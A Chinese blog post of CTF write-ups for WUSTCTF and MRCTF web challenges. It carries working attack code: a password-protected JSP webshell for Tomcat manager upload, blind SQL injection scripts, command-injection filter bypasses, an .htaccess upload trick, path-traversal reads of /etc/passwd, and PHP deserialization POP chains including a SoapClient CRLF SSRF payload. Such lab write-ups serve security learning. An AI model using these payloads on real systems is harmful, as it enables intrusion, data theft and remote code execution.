美文网首页
WUSTCTF&MRCTFweb题解

WUSTCTF&MRCTFweb题解

作者: byc_404 | 来源:发表于2020-03-29 23:54 被阅读0次

    这周末顺手打了下两个新生赛+国际赛volgaCTF。国际赛难度太高了就知道一个ghostcat。这边两个新生赛本来不想写wp的,但是想到上周BJD比赛的wp也咕了就想着还是补着吧。(上周BJD不写是因为对比赛题目有意见,说是新生赛,脑洞跟套娃题把一堆老手都整得不舒服。当时差一道ASP.NET,因为ysoserial的gadget用的不对就一直出不了结果,直接心态搞崩)所以这次把这两个新生赛题目写写。具体只大致讲下思路吧

    WUSTCTF

    很有意思,题目里php难度都比较基础。意外的是有java题。java难度就不一样了,估计是java接触的少的原因吧。有道1解题太难了,赛后学下思路。

    checkin

    进去一个前端验证。限制按钮跟长度。前端把按钮解决后抓个包传出题人名字就好,得到出题人blog
    (老实说恶意引流不好吧......)
    可以在博客前端看到部分flag,但是只有一半,后一半通过博客链接到github去,可以找到后半部分

    admin

    开始随手一个万能密码admin' or 1=1#就进去了。
    /adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php
    然后就是改header以及get,post值即可
    得到paste.ubuntu分段给出的网页链接,找到正确的即可得到编码后的flag。解码即可

    CV Maker

    基础上传,登录注册后先上传一个php,报的是exif_imagetype()检查。那就只要文件头解决就好了,传一个马
    ,前面加上GIF89A即可。
    (这里还有uploads的目录遍历,随便一个都是现成的参考案例)
    蚁剑连接后根目录/readflag即可。

    easyweb

    这题是道java题。我用非预期做出来的。毕竟自己java知识有限......

    首先进去又是个上传,传一个文件上去看到爆出一个download路由与file参数


    那就有任意文件下载
    java题必读的几个配置文件,首先就是WEB-INF下的web.xml

    
        <context-param>
            <param-name>webAppRootKey</param-name>
            <param-value>tomcat.ajp</param-value>
        </context-param>
    
        <listener>
            <listener-class>
                org.springframework.web.util.WebAppRootListener
            </listener-class>
        </listener>
    
        <welcome-file-list>
            <welcome-file>/WEB-INF/views/index.jsp</welcome-file>
        </welcome-file-list>
    
        <error-page>
            <exception-type>java.lang.Throwable</exception-type>
            <location>/error</location>
        </error-page>
    </web-app>
    
    

    只有一个index.jsp,同样下载后发现没什么内容。
    这时开始尝试读取其他文件,构造后发现可以读取到/etc/passwd

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    messagebus:x:101:102::/var/run/dbus:/bin/false
    sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
    systemd-timesync:x:103:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:104:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:106:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
    tomajp:x:1000:1000::/home/tomajp:/bin/bash
    

    有意思的是,我们题目起的tomajp用户的家目录是 bin/bash.这点让我想起了之前做网鼎杯Comment这道题的一个收获:
    二次注入,数据库却没有flag,通过读取.bash_history发现了其他文件夹中未删除的flag从而读取。
    那么本题尝试读取/home/tomajp/.bash_history

    发现有蹊跷,拖到下面有发现


    根据这里记录的操作可以看到,flag应该是在根目录的flaaaag文件夹下的what_you_want
    直接读取即可
    /download?file=../../../../../../../../../flaaaag/what_you_want

    问了下官方,的确是个比较简单的非预期,预期解是上传jsp进行RCE.但是我一直没弄明白tomcat里上传目录要怎么访问,这个可能是吃了不熟悉javaweb
    的锅。不说了,之前说好要学javaweb也得提上日程了。

    ps:赛后了解到是ghostcat打。这个就很有趣了,因为同期的另一个国际赛有题也是这个幽灵猫。找时间等buu上靶机了复现下这个洞。
    不用等了,复现完了。具体参考国际赛的复现https://www.jianshu.com/p/c99cde184542

    朴实无华

    先放一个没拿到一血的原因


    大小为0的flag

    手慢一步加上出题人权限没控好,直接flag被删了。导致我多花了半个小时,找出题人沟通后好了。不过说到底慢一步flag被删还是因为只有二血的手速......

    首先是信息收集,这里奇怪的一点是/.git/目录直接暴露在外了,但是仔细观察下发现只是个lamp的git.不知道是不是为了混淆视听故意放的。反正我是githack用了几次才察觉不对劲的。

    个人信息收集一直是手测,测了好多源码泄露没反应后注意到index.php网页的标题为bot。于是考虑robots.txt,发现了fAke_f1agggg.php
    访问后当然没有真flag,但是header里有fl4g.php,得到题目源码

    <?php
    header('Content-type:text/html;charset=utf-8');
    error_reporting(0);
    highlight_file(__file__);
    
    
    //level 1
    if (isset($_GET['num'])){
        $num = $_GET['num'];
        if(intval($num) < 2020 && intval($num + 1) > 2021){
            echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
        }else{
            die("金钱解决不了穷人的本质问题");
        }
    }else{
        die("去非洲吧");
    }
    //level 2
    if (isset($_GET['md5'])){
       $md5=$_GET['md5'];
       if ($md5==md5($md5))
           echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
       else
           die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
    }else{
        die("去非洲吧");
    }
    
    //get flag
    if (isset($_GET['get_flag'])){
        $get_flag = $_GET['get_flag'];
        if(!strstr($get_flag," ")){
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
            echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
            system($get_flag);
        }else{
            die("快到非洲了");
        }
    }else{
        die("去非洲吧");
    }
    ?>
    

    老套娃了。
    第一层一个intval的问题。
    这里使用的是一个进制的技巧,比如2020的16进制7e4
    intval会将字符串7e4认作7,而intval("7e4"+1)则被类型转换,变为70001

    第二层弱类型比较的问题
    $md5==md5($md5)
    原来校赛总结时就强调过,网上一直以来的说法很不准确。并非是0e开头才会弱类型比较被判作0.而是因为0e开头且纯数字然后才能被转为0绕过弱类型检查。
    https://www.jianshu.com/p/52f04f85824e
    故我们需要0e开头纯数字的数,使得其MD5值0e开头且纯数字。
    因此这个一定是要脚本跑的,所以我选择放弃hhh。找队友要了以前讲过这个trick的文章,得到了这个神奇数字0e215962017
    脚本跑还是算了吧,附上日本dalao的脚本https://graneed.hatenablog.com/entry/2019/03/11/122020

    # -*- coding: utf-8 -*-
    import hashlib
    import string
    import re
    def generateMD5():
        pattern = "^0+e[0-9]+$"
        i = 0
        while True:
            if i % 1000000 == 0:
                print("i:" + str(i))
            s = '0e' + str(i)
            md5 = hashlib.md5(s.encode("utf-8")).hexdigest()
            m = re.search(pattern, md5)
            if m:
                print("source:", s)
                print("md5   :", md5)
                return s
            i = i + 1
    if __name__ == "__main__":
        generateMD5()
    

    第三层基础至极。ca\t可以绕过关键字,${IFS}替代空格,读flag可以直接用fll*,或者直接cat `ls` 即可。
    主要还是被人搅屎导致多试了好久,还顺便打算弹shell。结果试了5种方法都没成,真的气人
    payload

    ?num=7e4&md5=0e215962017&get_flag=ca\t${IFS}`ls`
    

    颜值成绩查询

    裸的数值布尔盲注,直接上if分流就完事。
    好像过滤了空格,那就括号多套一下。
    因为打错了参数stunum,导致慢几步只拿到三血。...以后一定直接复制粘贴url。吃大亏。

    import requests
    import urllib.parse
    
    url='http://101.200.53.102:10114/index.php?stunum='
    flag=''
    for i in range(1,50):
        print(i)
        for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.{}-":
            payload = "if(ascii(substr((select(group_concat(value))from(flag)),"+str(i)+",1))=" + str(ord(str1)) + ",1,2)"
            payload = urllib.parse.quote(payload)
            r = requests.get(url + payload)
            if 'admin' in r.text:
                flag+=str1
                print(flag)
                break
    

    有道1解题貌似很顶就没有看。

    Train Yourself To Be Godly

    到buu上复现了。仔细做会发现还是细节上问题比较多。
    首先是分析。因为题目显示的页面是tomcat默认的/examples路由。那么说明是用examples做的根目录
    https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    然后是这个文档。
    可以构造路径穿越,来到其他路径下。比如此处为了getshell,进入/manager构造/..;/manager
    之后一个tomcat:tomcat的弱口令。
    具体getshell流程可以参考vulhub上tomcat/tomcat8的漏洞Tomcat7+ 弱口令 && 后台getshell漏洞。https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8我也简单复现了下,可以去我的vulhub复现文章那看。
    先给出webshell.jsp与webshell.war的生成方法

    <%
        if("023".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
    }
    %>
    

    带回显与密码的jsp,比较好用。
    然后命令行可以生成war
    jar cvf webshell.war webshell.jsp
    貌似直接压缩jsp成zip然后改后缀为war也可以。
    进入后自然是上传war包了。但是很快发现点击上传后返回404。而它的路径给的是

    /examples/..;/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=A226F07F06C2C983EE2911A5963BFA84
    

    看来是又从根目录开始加载路径了,这个用同样的方法,将路径改成
    /..;/manager/html/upload......即可
    不过很快会发现401。未授权访问。如果熟悉tomcat的很快能反应过来是少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。
    Authorization: Basic dG9tY2F0OnRvbWNhdA==
    后面就是tomcat:tomcat的base64编码。这里显然因为我们是通过构造路径穿越的问题,没有在upload时自动带上。
    那么继续上传,发现403.只能是cookie的问题了。回头去看访问/..;/manager/html时就存在set-cookie的返回。那么只能是缺cookie了。
    具体做法:重新访问一遍/..;/manager/html从返回头取一个cookie.然后上传时抓包拦截,把认证跟cookie以及访问地址全部改好,直到200为止。


    然后就可以访问webshell进行命令执行了。这里flag比赛是在根目录的文章中,buu是在根目录.
    /..;/webshell/exp.jsp?pwd=023&i=cat%20/flagggg

    MRCTF

    天璇的比赛相对WUST就难一点,然而还是一堆套娃。心里苦。套娃题多真的是CTF比赛怪现状了,脱离了CTF的本质...反正我立flag,以后绝对不出套娃题。

    ezbypass

    老套娃了。方法都老套了。
    第一步一个MD5碰撞,网上一堆现成的。
    第二步一个isnumeric(),只需要在数字后随便加个符号就可以绕过

    你传你🐎呢

    文件上传基本套路,试了下发现php可解析的几个后缀都没了。那试试.htaccess发现可以。那就没事了,绕文件检查上传jpg图片马

    addtype application/x-httpd-php .jpg
    

    PYwebsite

    我承认这题是我自己菜了。
    开始前端一个验证MD5,但是是个js。我还跑去搜js的MD5弱类型,发现好像就没有这个trick啊...

    后来才注意flag.php说他记录了所有购买者ip
    X-Forwarded-For:127.0.0.1即可

    反思下,题目大都是html.可利用的只有flag.php,那就从他下手。且基本是header作文章。

    套娃

    老套娃了。
    先是要绕第一层,但是怎么看着就像我们nctf的题呢?

    <?php
    $query = $_SERVER['QUERY_STRING'];
    
     if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
        die('Y0u are So cutE!');
    }
     if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
        echo 
    

    使用b.u.p.t替代,以及在23333后加上%0a绕过preg_match()

    第二层
    首先一堆jsfuck,扔Chrome控制台得到一个提示post Merak,传个值得到源码

    <?php 
    error_reporting(0); 
    include 'takeip.php';
    ini_set('open_basedir','.'); 
    include 'flag.php';
    
    if(isset($_POST['Merak'])){ 
        highlight_file(__FILE__); 
        die(); 
    } 
    
    
    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }
    echo 'Local access only!'."<br/>";
    $ip = getIp();
    if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); }
    ?> 
    

    接着老套娃了。
    首先是getIp()函数,去官网查了下,是header可控。那就header设置为Client-IP:127.0.0.1
    然后为了file_get_contents($_GET['2333']) === 'todat is a happy day'这步老方法使用data协议
    data://text/plain,todat is a happy day
    最后一个file先用上面给的函数改改编码下即可。

    Ezpop

    pop链构造,实话说才三个类的pop很基础,不过我开始觉得这个起点贼诡异。

    <?php
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    if(isset($_GET['pop'])){
        @unserialize($_GET['pop']);
    }
    else{
        $a=new Show;
        highlight_file(__FILE__);
    }
    

    目标自然是include flag.php了。不过最好直接伪协议读。

    首先要触发__toString那就先来个echo。也就是说还得再来个Show类对象置为它的source属性,echo时触发.Show类带Show类,讲究。

    之后$this->str->source明显可以触发Test的__get(),然后返回值是函数,那就可以触发Modifer的__invoke()了。

    很简单的链子,就是第一步自己开始犯傻以为__toString()触发是echo时自动就有的,想了半天确认应该还是得对象echo才会触发。这点不能混淆。
    poc:

    <?php
    
    class Modifier {
        protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    }
    
    class Show{
        public $source;
        public $str;
    }
    
    class Test{
        public $p;
    
    }
    
    $a=new Show();
    $b=new Show();
    $a->source=$b;
    $b->str=new Test();
    $b->str->p=new Modifier();
    echo(urlencode(serialize($a)));
    

    Ezaudit

    提示audit那就看看源码泄露。发现www.zip,结果上来就只有一个index.php,还以为有很多源码

    <?php 
    header('Content-type:text/html; charset=utf-8');
    error_reporting(0);
    if(isset($_POST['login'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        $Private_key = $_POST['Private_key'];
        if (($username == '') || ($password == '') ||($Private_key == '')) {
            // 若为空,视为未填写,提示错误,并3秒后返回登录界面
            header('refresh:2; url=login.html');
            echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
            exit;
    }
        else if($Private_key != '*************' )
        {
            header('refresh:2; url=login.html');
            echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
            exit;
        }
    
        else{
            if($Private_key === '************'){
            $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
            $link=mysql_connect("localhost","root","root");
            mysql_select_db("test",$link);
            $result = mysql_query($getuser);
            while($row=mysql_fetch_assoc($result)){
                echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
            }
        }
        }
    
    } 
    // genarate public_key 
    function public_key($length = 16) {
        $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $public_key = '';
        for ( $i = 0; $i < $length; $i++ )
        $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
        return $public_key;
      }
    
      //genarate private_key
      function private_key($length = 12) {
        $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $private_key = '';
        for ( $i = 0; $i < $length; $i++ )
        $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
        return $private_key;
      }
      $Public_key = public_key();
      //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???
    

    只要绕过一个私钥即可sql注入。
    那么注意到公,私钥是通过mt_rand()生成的,那就好说。直接./mt_rand 走起
    先将公钥转为脚本可识别的数据

    str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    str2='KVQP0LdJKRaV3n9D'
    str3 = str1[::-1]
    length = len(str2)
    res=''
    for i in range(len(str2)):
        for j in range(len(str1)):
            if str2[i] == str1[j]:
                res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
                break
    print(res)
    

    然后爆破出种子后设定好随机数种子,按先公钥,再私钥的顺序生成。得到私钥XuNhoueCDCGc
    直接sql注入即可

    import requests
    
    url='http://aa90a604-c5bb-44d9-8589-b9614155f505.merak-ctf.site/login.php'
    flag=''
    for i in range(1,50):
        print(i)
        for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.{}-":
            payload = "1' or if(ascii(substr(flag,"+str(i)+",1))="+str(ord(str1))+",sleep(3),1)#"
            data = {
                'username': 'admin',
                'password': payload,
                'Private_key': 'XuNhoueCDCGc',
                'login': '1'
            }
            try:
                r = requests.post(url, data=data,timeout=3)
            except requests.exceptions.ReadTimeout:
                flag += str1
                print(flag)
                break
    

    打开kali+爆破种子花了10多分钟,前几血又没了。心里苦。
    事后仔细一看sql语句已经写好了,所以只要万能密码就行了。难怪手速慢,该打。

    Ezpop_revenge

    打算写wp就是为了这题。质量绝对够。
    开始下载www.zip的源码,然后发现是typeEcho的模板,之前没审过这个模板相关的pop链,上去找了下还挺有意思。
    跟zjy师傅审出了入口+利用点就懒得写poc了。不过还是得动手做做才行。(毕竟实际写起来多半直接拉胯)

    首先是终结点

    <?php
    if(!isset($_SESSION)) session_start();
    if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
       $_SESSION['flag']= "MRCTF{******}";
    }else echo "我扌your problem?\n
    only localhost can get flag!";
    ?>
    

    显然是要ssrf。而且这里让我莫名想到了之前LCTF的bestphp'srevenge.就是通过Soap打ssrf的一个trick.
    然后找入口了。
    这里难受的是phpstorm全局搜索找不到unserialize。还是zjy师傅帮我找到的.原来是插件里面手写的一个类
    主体函数大概这么多

    class HelloWorld_DB{
        private $flag="MRCTF{this_is_a_fake_flag}";
        private $coincidence;
        function  __wakeup(){
            $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
        }
    }
    
    public function action(){
            if(!isset($_SESSION)) session_start();
            if(isset($_REQUEST['admin'])) var_dump($_SESSION);
            if (isset($_POST['C0incid3nc3'])) {
                if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                    unserialize(base64_decode($_POST['C0incid3nc3']));
                else {
                    echo "Not that easy.";
                }
            }
        }
    

    注意到wakeup后自然明白反序列化的触发方式了.同时按照LCTF的经验,这里大概率是一个一个双参数函数,即call_user_func+Soap打ssrf。
    跟一下Typecho_Db类

    果不其然有个call_user_func。而且参数都可控,链子结束。所以其实就是个原题魔改了下。当时看到这就没做了。

    然而事情没这么简单。后来发现一个问题。那就是LCTF可以利用session处理器将Soap的序列化数据写到session里,然后calluserfunc,array($_session,‘welcome_to_the_lctf2018’)触发。这里却不行。那就需要把链子再多挖一下.

    注意到之前的结尾提示我们__toString()。全局搜索下toString,跟到\var\Typecho\Db\Query.php下。


    注意到这里,$this->_sqlPreBuild['action']时执行了_adapterparseSelect()方法。应该可以满足我们触发Soap的条件,即调用不存在方法。
    梳理完重点后开始构造了。
    $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    =>call_user_func(array($adapterName, 'isAvailable'))
        => __toString()//Typecho_Db_Query
          => $this->_adapter->parseSelect($this->_sqlPreBuild)
    

    只用到两个类,pop链不长(hhh)
    poc

    class Typecho_Db_Query{
        private $_adapter;
        private $_sqlPreBuild;
    
        function __construct(){
            $target = "http://127.0.0.1/flag.php";
            $headers = array(
                'X-Forwarded-For:127.0.0.1',
                "Cookie: PHPSESSID=b92shmac496iqkek97vkuetnn0"
            );
            $this->_adapter = new SoapClient(null, array('uri' => 'abc', 'location' => $target, 'user_agent' => 'byc404^^' . join('^^', $headers)));
            $this->_sqlPreBuild = ['action' => "SELECT"];
        }
    }
    
    class HelloWorld_DB
    {
        private $coincidence;
        public function __construct()
        {
            $this->coincidence = array("hello" => new Typecho_Db_Query());
        }
    }
    
    $poc = serialize(new HelloWorld_DB());
    $poc = preg_replace(" /\^\^/", "\r\n", $poc);
    echo base64_encode($poc);
    

    然后触发的地方没找到......原来在/var/Typeecho/Plugin.php里

        public static function activate($pluginName)
        {
            self::$_plugins['activated'][$pluginName] = self::$_tmp;
            self::$_tmp = array();
            Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
        }
    

    那么就尝试提交poc。

    post: C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6MTp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mjp7czoyNjoiAFR5cGVjaG9fRGJfUXVlcnkAX2FkYXB0ZXIiO086MTA6IlNvYXBDbGllbnQiOjU6e3M6MzoidXJpIjtzOjM6ImFiYyI7czo4OiJsb2NhdGlvbiI7czoyNToiaHR0cDovLzEyNy4wLjAuMS9mbGFnLnBocCI7czoxNToiX3N0cmVhbV9jb250ZXh0IjtpOjA7czoxMToiX3VzZXJfYWdlbnQiO3M6Nzk6ImJ5YzQwNA0KWC1Gb3J3YXJkZWQtRm9yOjEyNy4wLjAuMQ0KQ29va2llOiBQSFBTRVNTSUQ9bW9pODU2cXVxcHU2bXV2bWhnYTdrbzdwNTMiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fX19fQ==
    

    然后?admin=1访问即可。
    然后应该是跟LCTF一样,最好payload跟检查flag的PHPSESSID不要用同一个。我看Nepnep师傅们的wp里说直接生成的payload过不去。我反正??????人家特意设定的base64encode根本不存在private特殊字符过不去的问题啊。直接打应该没啥问题。

    大概这么多,题目毕竟新手题。收获谈不上,没掉链子就算满意了。最后一题也提醒了自己拒绝想当然,链子没写出来就不能空想,实在的poc才是王道。过几天把幽灵猫的总结下,毕竟国际赛上也遇到了。

    相关文章

      网友评论

          本文标题:WUSTCTF&MRCTFweb题解

          本文链接:https://www.haomeiwen.com/subject/qgdyuhtx.html